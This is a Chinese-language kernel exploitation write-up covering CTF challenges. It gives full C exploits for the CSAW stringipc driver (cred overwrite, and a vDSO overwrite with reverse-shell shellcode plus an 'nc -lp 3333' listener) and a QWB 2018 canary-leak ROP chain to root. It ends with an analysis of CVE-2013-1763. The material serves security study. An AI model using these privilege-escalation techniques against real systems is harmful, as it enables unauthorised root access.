comm[TASK_COMM_LEN],由注释名字可以知道,它包含了进程的名字,大小为16,可以在内存中搜索这段字符串的位置来计算cred的地址,prctl函数中的PR_SET_NAME功能可以用来设置进程的名字,因此可以设置comm[TASK_COMM_LEN],因此设为一个特定值,然后再内存中搜索这个字符串,但是如此大的内存空间完全遍历可能需要耗费大量时间,因为task_struct是通过kmem_cache_alloc_node获取的,根据内存映射图可知,爆破范围应该在0xffff880000000000~0xffffc80000000000
linux内核 64位 X86_64 地址空间

exp
#include <stdio.h>
#include <sys/prctl.h>       
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>

#define CSAW_ALLOC_CHANNEL 0x77617364
#define CSAW_SHRINK_CHANNEL 0x77617367
#define CSAW_SEEK_CHANNEL 0x7761736a
#define CSAW_READ_CHANNEL 0x77617368
#define CSAW_WRITE_CHANNEL 0x77617369

struct alloc_channel_args {
    size_t buf_size;
    int id;
};

struct open_channel_args {
    int id;
};

struct shrink_channel_args {
    int id;
    size_t size;
};

struct read_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct write_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct seek_channel_args {
    int id;
    loff_t index;
    int whence;
};

struct close_channel_args {
    int id;
};

int main(){
    setvbuf(stdout, 0LL, 2, 0LL);
    char target[16] ;
    strcpy(target,"brute_for_cred!");
    prctl(PR_SET_NAME,target);
    char name[16];
    prctl(PR_GET_NAME,(unsigned long)name);
    printf("[*] name %s\n",name);
    struct alloc_channel_args alloc_args;
      struct shrink_channel_args shrink_args;
      struct seek_channel_args seek_args;
      struct read_channel_args read_args;
      struct close_channel_args close_args;
      struct write_channel_args write_args;
    int fd = -1;
    fd = open("/dev/csaw",O_RDWR);
    if(fd < 0){
      puts("open csaw error!");
      exit(-1);
    }

    alloc_args.buf_size = 0x100;
    alloc_args.id = -1;
    ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_args);
    printf("[*] alloc channel id %d\n",alloc_args.id);
    shrink_args.id = alloc_args.id;
    shrink_args.size = 0x100 + 1;
    ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_args);
    puts("[*] any read/write");
    char *buf = malloc(0x1000);
    size_t addr = 0xffff880000000000;
    size_t res = 0;
    size_t cred = 0;
    size_t real_cred = 0;
    size_t target_addr = 0;
    
    for(;addr<0xffffc80000000000;addr+=0x1000){
      seek_args.id =  alloc_args.id;
          seek_args.index = addr-0x10 ;
          seek_args.whence= SEEK_SET;
          ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
          read_args.id = alloc_args.id;
          read_args.buf = buf;
          read_args.count = 0x1000;
          ioctl(fd,CSAW_READ_CHANNEL,&read_args);
      res = memmem(buf,0x1000,target,16);
      if(res){
        printf("[*] res : 0x%lx\n",res);
        printf("[*] addr : 0x%lx\n",addr);
        cred = *(size_t*)(res-0x8);
        printf("[*] cred 0x%lx\n",cred);
        break;
      }
    }
    
    if(res == 0){
      puts("cann't find target!");
      exit(-1);
    }
    int i = 0;
    char tmp_cred = '\x00';
    puts("ready edit cred");
    for(i=0;i<44;++i){
      seek_args.id = alloc_args.id;
      seek_args.index = cred- 0x10 + 4 + i;
      seek_args.whence = SEEK_SET;
      ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
      write_args.id = alloc_args.id;
      write_args.count = 1;
      write_args.buf = &tmp_cred;
      ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);
    }
    if(getuid() == 0){
      puts("gets root shell");
      system("/bin/sh");
    }
    else{
      puts("cred edit false!");
    }
    return 0;
}

覆盖vDSO

linux 下的 vDSO

VDSO(Virtual Dynamically-linked Shared Object), 它将内核态的调用映射到用户态的地址空间中,它不存在于磁盘上,而是在内核代码里面,内核会在程序启动的时候将对应包含*-vdso.so的页面直接映射到用户态下的进程内存中,以减少部分系统调用开销,内核态的vDSO段地址权限为RW,用户空间的vDSO段权限为RX,因此,如果能在内核态修改vDSO段代码,就可以在用户态直接执行,假如我们将其修改为commit_creds(prepare_kernel_cred(0));就可以实现提权.

vdso.so 函数

vDSO在哪?

vDSO的位置我们是不确定的,但是可以通过爆破的方式获取,首先vdso.so可以视为一个elf文件(毕竟是.so文件),在内存中也是页对齐的,通过getconf PAGE_SIZE可以确定页大小,一般是4096(4k),我们可以通过一页的开始部分确定是不是elf文件,再通过一段偏移处的代码确定是不是vdso。

利用分析

通过任意写,修改内核空间的vdso,通过高权限进程调用vdso内函数,实现反弹shell(环境采用的p4nda师傅的,通过在利用root权限不断执行gettimeofday函数)

exploit
#include <stdio.h>
#include <sys/prctl.h>       
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <sys/auxv.h> 
#include <stdlib.h>

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8

struct alloc_channel_args {
    size_t buf_size;
    int id;
}alloc_args;

struct open_channel_args {
    int id;
};

struct shrink_channel_args {
    int id;
    size_t size;
}shrink_args;

struct read_channel_args {
    int id;
    char *buf;
    size_t count;
}read_args;

struct write_channel_args {
    int id;
    char *buf;
    size_t count;
}write_args;

struct seek_channel_args {
    int id;
    loff_t index;
    int whence;
}seek_args;

struct close_channel_args {
    int id;
};

void dump_vdso(char **addr){
    int i;
    for(i=1;i<0x501;++i){
        if(i%16 != 0){
            printf("%02x ",*(unsigned char*)(*addr + i));
        }
        else{
            printf("%02x\n",*(unsigned char*)(*addr + i));
        }
    }
}

int check_vsdo_shellcode(char *sc){
    size_t addr=0;
    addr = getauxval(AT_SYSINFO_EHDR);
    printf("vdso:%lx\n", addr);
    if(addr<0){
        puts("[-]cannot get vdso addr");
        return 0;
    }    
    if (memmem((char *)addr,0x1000,sc,strlen(sc) )){
        return 1;
    }
    return 0;
}

int main(){
    int fd;
    fd = open("/dev/csaw",O_RDWR);
    if (fd < 0){
        puts("open error!");
    }
    alloc_args.id = 0;
    alloc_args.buf_size = 0x10;
    ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_args);
    int id;
    id = alloc_args.id;
    printf("[*] alloc channel id %d\n",id);
    shrink_args.id = id;
    shrink_args.size = 0x10 + 1;
    ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_args);
    puts("[*] any read/write");
    size_t addr = 0xffffffff80000000;
    char *buf = malloc(0x1000);
    size_t res = 0;
    char *vdso_head = "\x7f\x45\x4c\x46\x02\x01\x01";
    int head_size;
    head_size = sizeof(*vdso_head);
    for(;addr<0xffffffffffffefff;addr+=0x1000){
        seek_args.id = id;
        seek_args.index = addr - 0x10;
        seek_args.whence = SEEK_SET;
        ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
        read_args.id = id;
        read_args.buf = buf;
        read_args.count = 0x1000;
        ioctl(fd,CSAW_READ_CHANNEL,&read_args);
        if(!strncmp(buf,vdso_head,head_size)){
            if(!strncmp((buf + 0x2cd),"gettimeofday",12)){
                printf("[*] find vDSO address 0x%lx\n",addr);
                res = addr;
                dump_vdso(&buf);
                printf("[*] res 0x%lx\n",res);
                break;
            }
        }
    }
    if(!res){
        puts("[*] can't find vDSO ");
        exit(-1);
    }
       char sc[] = "\x90\x53\x48\x31\xC0\xB0\x66\x0F\x05\x48\x31\xDB\x48\x39\xC3\x75\x0F\x48\x31\xC0\xB0\x39\x0F\x05\x48\x31\xDB\x48\x39\xD8\x74\x09\x5B\x48\x31\xC0\xB0\x60\x0F\x05\xC3\x48\x31\xD2\x6A\x01\x5E\x6A\x02\x5F\x6A\x29\x58\x0F\x05\x48\x97\x50\x48\xB9\xFD\xFF\xF2\xFA\x80\xFF\xFF\xFE\x48\xF7\xD1\x51\x48\x89\xE6\x6A\x10\x5A\x6A\x2A\x58\x0F\x05\x48\x31\xDB\x48\x39\xD8\x74\x07\x48\x31\xC0\xB0\xE7\x0F\x05\x90\x6A\x03\x5E\x6A\x21\x58\x48\xFF\xCE\x0F\x05\x75\xF6\x48\x31\xC0\x50\x48\xBB\xD0\x9D\x96\x91\xD0\x8C\x97\xFF\x48\xF7\xD3\x53\x48\x89\xE7\x50\x57\x48\x89\xE6\x48\x31\xD2\xB0\x3B\x0F\x05\x48\x31\xC0\xB0\xE7\x0F\x05";
    seek_args.id = id;
    seek_args.index = res - 0x10 + 0xc80;
    seek_args.whence = SEEK_SET;
    ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
    write_args.id = id;
    write_args.buf = sc;
    write_args.count = sizeof(sc);
    ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);
    puts("[*] ready to write shellcode to vDSO");
    if(check_vsdo_shellcode(sc) == 1){
        puts("[*] shellcode is writen into vDSO");
        system("nc -lp 3333");
    }
    else{
        puts("something wrong");
    }
    return 0;
}

利用prctl函数

放在solid_core里面

2018 强网杯 core writeup

在学习 linux kernel exploit 技术以后在越来越觉得C语言指针的重要性,因为指针的问题,以至于这个exp我断断续续的写了接近一周。

保护分析

kaka@kaka-virtual-machine:~/kernelpwn/core/core$ checksec core.ko 
[*] '/home/kaka/kernelpwn/core/core/core.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)
kaka@kaka-virtual-machine:~/kernelpwn/core/core$ checksec vmlinux 
[*] '/home/kaka/kernelpwn/core/core/vmlinux'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0xffffffff81000000)
    RWX:      Has RWX segments

驱动文件存在canary,vmlinux的基址可以通过偏移计算其他函数/gadgets地址。并且在init文件中可以发现拷贝了一份kallsyms到tmp文件夹中,并且所有用户可读,因此可以泄露一些函数地址。

core.ko 驱动分析

core_ioctl 函数

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  __int64 v3; // rbx

  v3 = a3;
  switch ( a2 )
  {
    case 0x6677889B:
      core_read(a3);
      break;
    case 0x6677889C:
      printk(&unk_2CD);
      off = v3;
      break;
    case 0x6677889A:
      printk(&unk_2B3);
      core_copy_func(v3);
      break;
  }
  return 0LL;
}

根据第二个参数使用不同的功能。

core_read 函数

unsigned __int64 __fastcall core_read(__int64 a1)
{
  __int64 v1; // rbx
  __int64 *v2; // rdi
  signed __int64 i; // rcx
  unsigned __int64 result; // rax
  __int64 v5; // [rsp+0h] [rbp-50h]
  unsigned __int64 v6; // [rsp+40h] [rbp-10h]

  v1 = a1;
  v6 = __readgsqword(0x28u);
  printk(&unk_25B);
  printk(&unk_275);
  v2 = &v5;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v2 = 0;
    v2 = (__int64 *)((char *)v2 + 4);
  }
  strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n");
  result = copy_to_user(v1, (char *)&v5 + off, 64LL);
  if ( !result )
    return __readgsqword(0x28u) ^ v6;
  __asm { swapgs }
  return result;
}

copy_to_user 函数向userspace传递64字节数据,v5的地址处于函数栈顶,根据off参数设置新的偏移(地址),off参数可以通过ioctl设置,可以利用这个功能leak canary。

core_write 函数

signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int64 v3; // rbx

  v3 = a3;
  printk(&unk_215);
  if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )
    return (unsigned int)v3;
  printk(&unk_230);
  return 4294967282LL;
}

通过copy_from_user函数向一个全局变量地址写入不超过0x800字节的数据

core_copy_func 函数

signed __int64 __fastcall core_copy_func(signed __int64 a1)
{
  signed __int64 result; // rax
  __int64 v2; // [rsp+0h] [rbp-50h]
  unsigned __int64 v3; // [rsp+40h] [rbp-10h]

  v3 = __readgsqword(0x28u);
  printk(&unk_215);
  if ( a1 > 63 )
  {
    printk(&unk_2A1);
    result = 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(&v2, &name, (unsigned __int16)a1);
  }
  return result;
}

先对传入的a1(即读入数据的字节数)进行判断,如果大于 63 ,直接 return,但是没有对a1的正负做判断,

这里面将a1将之转换为 unsigned _int16 类型。因此如果我们传入一个负值(高位为1)时,就可以绕过。导致溢出。

利用分析

  • 首先需要leak canary,通过set off的值大于8即可,当set off的值为0x40时,leak的前八个字节就是canary。
  • 通过qemu的启动脚本可知,并没有开启smep,smap保护,可以直接在返回的的时候指向用户空间的代码,因此可以使用
    commit_creds(prepare_kernel_cred(0))得到root权限。
  • 64位系统 从内核空间->用户空间,需要执行两条指令swapgs;iretq;

swapgs指令通过用一个MSR中的值交换GS寄存器的内容。在进入内核空间例行程序(例如系统调用)时会执行swapgs指令以获取指向内核数据结构的指针,因此在返回用户空间之前需要一个匹配的swapgs。

rop

首先在core_read函数下一个断点,可以在$rsp+0x40处找到canary,在$rsp+0x50处发现一个驱动函数地址,可以根据这个地址找到gadgets对应的地址。

在core_copy_func函数ret指令处下一个断点

根据返回地址可以判断即将要执行用户空间提权代码,且返回地址位swapgs指令地址。

exploit

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>

#define COMMAND_READ 0x6677889B
#define COMMAND_PRINT 0x6677889C
#define COMMAND_COPY 0x6677889A

unsigned long user_cs,user_ss,user_rflags;
unsigned long long commit_creds = 0;
unsigned long long prepare_kernel_cred = 0;

static void save_state()
{
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "pushfq\n"
        "popq %2\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
        :
        : "memory");
}

void get_root()
{
    char * (* pkc)(int) = prepare_kernel_cred;
    void (* cc)(char *) = commit_creds;
    (* cc)((* pkc)(0));
}

void getshell()
{
    system("/bin/sh");
}

unsigned long get_symbol(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy, sym[512];
    int ret = 0;
 
    f = fopen("/tmp/kallsyms", "r");
    if (!f) {
    return 0;
    }
 
    while (ret != EOF) {
    ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
    if (ret == 0) {
        fscanf(f, "%s\n", sym);
        continue;
    }
    if (!strcmp(name, sym)) {
        printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
        fclose(f);
        return addr;
    }
    }
    fclose(f);
 
    return 0;
}

int main(int argc,char ** argv)
{
    commit_creds = get_symbol("commit_creds");
    prepare_kernel_cred = get_symbol("prepare_kernel_cred");
    char fake_stack[0x100];
    char * leak = (char *)malloc(1024);
    int fd = open("/proc/core",O_RDWR);

    ioctl(fd,COMMAND_PRINT,0x40);
    ioctl(fd,COMMAND_READ,leak);
    unsigned long long canary = ((unsigned long long *)leak)[0];
    printf("[*] canary : 0x%llx\n",canary);
    unsigned long long ret_addr = ((unsigned long long *)leak)[2];
    unsigned long long iret_addr = prepare_kernel_cred - 0x4c21e;
    save_state();
    unsigned long long payload[]={
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    canary,
    0x9090909090909090,
    &get_root,
    ret_addr - 0xc5,
    &fake_stack - 0x100,
    iret_addr,
    &getshell,
    user_cs,
    user_rflags,
    &fake_stack - 0x100,
    user_ss
    };
    write(fd,payload,sizeof(payload));
    ioctl(fd,COMMAND_COPY,0xf0000000000000b0);

    return 0;
}

cve-2013-1763 数组越界漏洞分析

“云分析”,实际调试出现问题,过一段时间再弄。。。
初次接触内核漏洞分析,如有错误还请指正。本文所有代码均来自linux kernel 3.3.3

影响范围linux kernel 3.3.3-3.3.8

原因

sock_diag_lock_handler函数在处理接受的数据时,没有根据数组边界判断大小,导致数组越界,从而导致任意代码执行。

static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
    int err;
    struct sock_diag_req *req = NLMSG_DATA(nlh);
    struct sock_diag_handler *hndl;

    if (nlmsg_len(nlh) < sizeof(*req))
        return -EINVAL;

    hndl = sock_diag_lock_handler(req->sdiag_family);//没有对req->sdiag_family大小做判断
    if (hndl == NULL)
        err = -ENOENT;
    else
        err = hndl->dump(skb, nlh);//任意代码执行
    sock_diag_unlock_handler(hndl);

    return err;
}
----------------------------------------------------------------------------------------------------------
static inline struct sock_diag_handler *sock_diag_lock_handler(int family)
{
    if (sock_diag_handlers[family] == NULL)
        request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,
                NETLINK_SOCK_DIAG, family);

    mutex_lock(&sock_diag_table_mutex);
    return sock_diag_handlers[family];//根绝family的值返回数组中指定的元素
}
----------------------------------------------------------------------------------------------------------
struct sock_diag_handler {
    __u8 family;
    int (*dump)(struct sk_buff *skb, struct nlmsghdr *nlh);
};

如何触发该漏洞

这个漏洞出现在sock_diag中,google的时候找到了这个页面sock_diag[1]: http://man7.org/linux/man-pages/man7/sock_diag.7.html 从描述可知,它是netlink的一种机制,关于netlink

netlink,一种特殊的socket,用于内核与用户空间进行双向的数据传输(通信)。
这也就意味着,我们在使用netlink的时候就有机会触发这个漏洞,首先需要自己构建netlink消息

构建netlink消息的数据包

netlink消息结构

首先需要nlmsghdr作为报头

nlmsghdr在linux kernel中的定义

struct nlmsghdr {
    __u32        nlmsg_len;    /* Length of message including header */
    __u16        nlmsg_type;    /* Message content */
    __u16        nlmsg_flags;    /* Additional flags */
    __u32        nlmsg_seq;    /* Sequence number */
    __u32        nlmsg_pid;    /* Sending process port ID */
};

在执行__sock_diag_rcv_msg函数之前会执行sock_diag_rcv_msg函数,通过nlmsg_type选择,相关代码

static int sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
    int ret;

    switch (nlh->nlmsg_type) {
    case TCPDIAG_GETSOCK:
    case DCCPDIAG_GETSOCK:
        if (inet_rcv_compat == NULL)
            request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,
                    NETLINK_SOCK_DIAG, AF_INET);

        mutex_lock(&sock_diag_table_mutex);
        if (inet_rcv_compat != NULL)
            ret = inet_rcv_compat(skb, nlh);
        else
            ret = -EOPNOTSUPP;
        mutex_unlock(&sock_diag_table_mutex);

        return ret;
    case SOCK_DIAG_BY_FAMILY:
        return __sock_diag_rcv_msg(skb, nlh);
    default:
        return -EINVAL;
    }
}

因此,nlmsg_type需要为SOCK_DIAG_BY_FAMILY才可以。

pad部分实际上是为了内存对齐
payload

利用分析

利用思路:构造msg->sdiag_family,使得sock_diag_handlers[msg->sdiag_family]的地址中相应的dump偏移的值指向用户态内存空间。exlpoit-database给出的exploit中使用了一个结构体netlink_table,该结构体中有一个成员变量nl_portid_hash,也是一个结构体,而nl_portid_hash中有一个成员变量unsigned long rehash_time的值范围:0x10000-0x130000(对应的内存地址范围为用户态),可将payload映射在0x10000-0x130000区域。

  • 利用mmap在0x10000-0x130000写入payload,利用“滑雪板”的方式,将该范围的低地址写入0x90,高地址写入payload
  • 获取内核符号信息,包括执行提权的commit_creds,prepare_kernel_cred,以及sock_diag_handlers和netlink_table的内核地址。通过计算sock_diag_handlers和netlink_table的“距离差”,计算偏移(msg->sdiag_family的值),使得越界后指向netlink_table结构体中的目标成员(dump)内存地址。
  • 向内核发送socket数据send(triger, &msg, sizeof(msg), 0),触发内核将rehash_time的值作为hndl->dump函数的入口地址,跳转到用户态部署的payload执行提权操作。

相关链接

preView